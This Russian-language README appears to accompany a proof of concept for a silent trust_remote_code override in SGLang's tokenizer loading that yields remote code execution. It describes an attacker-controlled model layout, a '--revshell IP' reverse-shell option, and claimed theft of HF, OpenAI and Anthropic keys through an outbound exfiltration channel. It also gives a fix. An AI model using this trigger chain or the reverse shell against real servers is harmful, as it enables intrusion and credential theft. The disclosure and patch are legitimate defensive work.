
PoC для CVE-2026-7669: SGLang silent trust_remote_code override -> RCE
SGLang молча переопределяет trust_remote_code=False на True и повторно вызывает
AutoTokenizer.from_pretrained всякий раз, когда transformers v5 возвращает объект
TokenizersBackend. Модель с пользовательским tokenizer_class и auto_map,
указывающим на tokenizer.py, достигает произвольного выполнения кода внутри
процесса SGLang, даже если оператор передал False. Ни на одном уровне не выводится
ни одной строки журнала.
main (коммит fae90abf6)python/sglang/srt/utils/hf_transformers_utils.py:898-909AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Highif not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)
Внесено в PR #17784
(коммит d1e95af28, 2026-03-18). Исходное уведомление logger.info(...)
было удалено коммитом 27ac831a8 (2026-03-23) под заголовком «docs: improve CI
and testing documentation», что сделало переопределение полностью незаметным в
каждой выпущенной уязвимой версии.
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
Собирает Docker-образ (python:3.12.7-slim-bookworm + transformers==5.3.0
Другие режимы:
./run.sh --server воспроизведение через TokenizerManager.__init__
./run.sh --versions матрица transformers 5.0..5.5
./run.sh --revshell IP опциональный reverse shell на IP:4444
./run.sh --rebuild принудительная пересборка --no-cache
./run.sh --copy-ledger ./ledger.json
Код выхода 0 означает подтверждение. Итоговая сводка:
Phase 1 transformers + False return=TokenizersBackend exec=False
Phase 1b PATCHED sglang + False return=TokenizersBackend exec=False
Phase 2 REAL sglang + False return=MaliciousTokenizer exec=True
Phase 2b PATCHED sglang + True return=MaliciousTokenizer exec=True
Phase 3 REAL sglang + False (slow) return=MaliciousTokenizer exec=True
Claims: 29 PASS / 0 FAIL / 0 N/A / 29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
Коды выхода:
| Код | Значение |
|---|---|
| 0 | Подтверждено |
| 1 | Не сработало |
| 2 | Ложное срабатывание (сами transformers выполнили tokenizer.py, ошибка в апстриме) |
| 3 | Предварительная проверка зафиксированных версий не пройдена |
Этап предварительной проверки читает pinned_versions.json и сверяет каждое
значение с окружением выполнения. При расхождении выход с кодом 3 до запуска
любых тестов.
| Компонент | Фиксация |
|---|---|
| Python | 3.12.7-slim-bookworm |
| transformers | 5.3.0 |
| Коммит SGLang | fae90abf6e15aaffb6fd924a439253674771487d |
SHA256 hf_transformers_utils.py | 9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e |
| SHA256 уязвимого блока (строки 898-909) | 109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece |
| Метрика | Значение | Подтверждение |
|---|---|---|
| AV | N | Файлы-триггеры (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) — стандартная раскладка auto_map HF Hub. Любой реестр, который их обслуживает, достигает ошибки. |
| AC | L | PHASE-2 срабатывает детерминированно за один запуск. Каждое условие триггера — контент, созданный атакующим. PRE-1..7 подтверждают отсутствие снятия отпечатков окружения. |
| PR | N | Достаточно бесплатной загрузки на HF Hub. Ничто в цепочке триггера не требует предварительных привилегий на жертве. |
| UI | R | Триггер срабатывает только когда оператор (или конвейер, настроенный оператором) вызывает launch_server --model-path attacker/model. |
| S | U | Все утверждения SEV-* выполняются в рамках авторитета процесса SGLang. Никакого побега из песочницы или контейнера. |
| C | H | SEV-secrets захватывает HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY из окружения процесса. SEV-network открывает исходящий TCP-канал эксфильтрации. |
| I | H | SEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip — четыре независимых примитива целостности в разных чувствительных местах. |
| A | H | Выводится из RCE. SEV-pip доказывает произвольное выполнение подпроцессов, что является тем же примитивом, необходимым для само-DoS. PoC напрямую не демонстрирует самоуничтожение. |
8.8 — консервативный минимум. 9.6 (с S:C) и 10.0 (оба S:C и
UI:N) защитимы, но зависят от мнения рецензента.
UI:N не обоснован для этого CVE. HTTP-сервер SGLang имеет
реальный обход отсутствия аутентификации по умолчанию, когда api_key=None и admin_api_key=None
(подтверждено AUTH-1 против примитива decide_request_auth во время
выполнения), но ни одна HTTP-конечная точка не достигает get_tokenizer после запуска
(подтверждено CHAIN-1). Все четыре места вызова get_tokenizer
(TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__,
DetokenizerManager.__init__) срабатывают один раз при запуске сервера из
предоставленного оператором --model-path. Обход аутентификации, таким образом, —
отдельная проблема, а не партнёр по цепочке для CVE-2026-7669.
PoC записывает JSON-реестр в /tmp/poc_claim_ledger.json с 29
индивидуально проверяемыми утверждениями. Используйте ./run.sh --copy-ledger ./ledger.json
для его извлечения.
| Группа | Утверждения |
|---|---|
PRE-1..7 | Зафиксированные версии (Python, transformers, SHA256 файла, количество строк, SHA256 блока переопределения, trust_remote_code по умолчанию, путь к исходнику) |
SRC-1 | Импортированный исходник get_tokenizer содержит переопределение |
PHASE-1 | transformers напрямую уважает trust_remote_code=False |
PHASE-1b, PHASE-1b-mech | SGLang без строк 898-909 уважает False и делает ровно один вызов from_pretrained |
PHASE-2, PHASE-2-mech, PHASE-2-silent | Реальный SGLang выполняет tokenizer.py. Трассировка показывает вызов 0 (False)->TokenizersBackend, вызов 1 (True)->MaliciousTokenizer. Ни одна строка журнала не упоминает trust_remote_code (захват DEBUG на корневом и sglang логгерах). |
PHASE-2b | Патч + явный True всё ещё загружается (патч точечный) |
PHASE-3-rce, PHASE-3-via-override | Режим медленного токенизатора также достигает RCE через тот же путь 898-909 |
SEV-write-sglang, SEV-write-launchsrv, SEV-write-model | Примитивы персистентности и латерального распространения |
SEV-network | Исходящий TCP-канал эксфильтрации |
SEV-secrets | Захват секретов из переменных окружения |
SEV-pip | Произвольная установка pip (цепочка поставок) |
SEV-root | Процесс работает от root в образе lmsysorg |
AUTH-1 | ServerArgs по умолчанию (api_key=None, admin_api_key=None) оставляет все конечные точки доступными без аутентификации |
Файлы модели-триггера (все контролируются атакующим, все разрешены HF Hub):
attacker/model/
config.json model_type "gpt2" (в TOKENIZER_MAPPING_NAMES transformers)
tokenizer_config.json пользовательский tokenizer_class + auto_map -> tokenizer.py
tokenizer.json валидный BPE-токенизатор (чтобы первая загрузка прошла успешно)
tokenizer.py полезная нагрузка
model.safetensors фиктивные веса
Поток выполнения внутри get_tokenizer(MODEL_DIR, trust_remote_code=False):
AutoTokenizer.from_pretrained(..., trust_remote_code=False).tokenizer_class не в своём
реестре, откатывается к обобщённому TokenizersBackend, построенному из
tokenizer.json. tokenizer.py на этом этапе не выполняется.type(tokenizer).__name__ == "TokenizersBackend"
и молча повторяют попытку с trust_remote_code=True.tokenizer.py.
Операторы верхнего уровня выполняются внутри процесса SGLang.PHASE-2-mech PoC захватывает трассировку буквально:
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
{idx: 1, trust_remote_code: True, returned_type: "MaliciousTokenizer"}]
Удалите строки 898-909. TokenizersBackend — пригодный токенизатор для многих
нагрузок, и возврат его как есть — безопасное поведение по умолчанию. Если модели
действительно нужен пользовательский код токенизатора, оператор должен явно передать
--trust-remote-code.
В качестве альтернативы — вывести громкое предупреждение и вернуть TokenizersBackend
без повторного вызова from_pretrained:
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
logger.warning(
"Model %s requires a custom tokenizer but trust_remote_code=False. "
"Returning generic TokenizersBackend without executing tokenizer.py. "
"Restart with --trust-remote-code if the custom code is required.",
tokenizer_name,
)
PHASE-2b подтверждает, что минимальный патч точечный: явный
trust_remote_code=True по-прежнему загружает модель.
trust_remote_code: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrainedЭтот PoC предназначен для оборонительных исследований безопасности и устранения
уязвимостей. Вредоносный tokenizer.py по умолчанию записывает только в
/tmp/sglang_poc_proof.txt внутри контейнера. Не запускайте против систем,
которыми вы не владеете или на тестирование которых у вас нет разрешения.
ADMIN_OPTIONALAUTH-2, AUTH-3 | Положительные контроли, подтверждающие, что middleware блокирует без аутентификации и принимает валидный bearer при настройке |
CHAIN-1 | Ни один обработчик HTTP-конечной точки не вызывает get_tokenizer() после запуска (ноль мест вызова в http_server.py) |
CHAIN-2 | Явный вердикт: UI:N НЕ обоснован для этого CVE. Обход отсутствия аутентификации по умолчанию реален, но не может достичь переопределения trust_remote_code, поскольку все четыре вызывающих get_tokenizer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) — пути __init__, срабатывающие один раз при запуске сервера. Оператор по-прежнему выбирает путь модели во время launch_server, поэтому UI:R остаётся в силе. |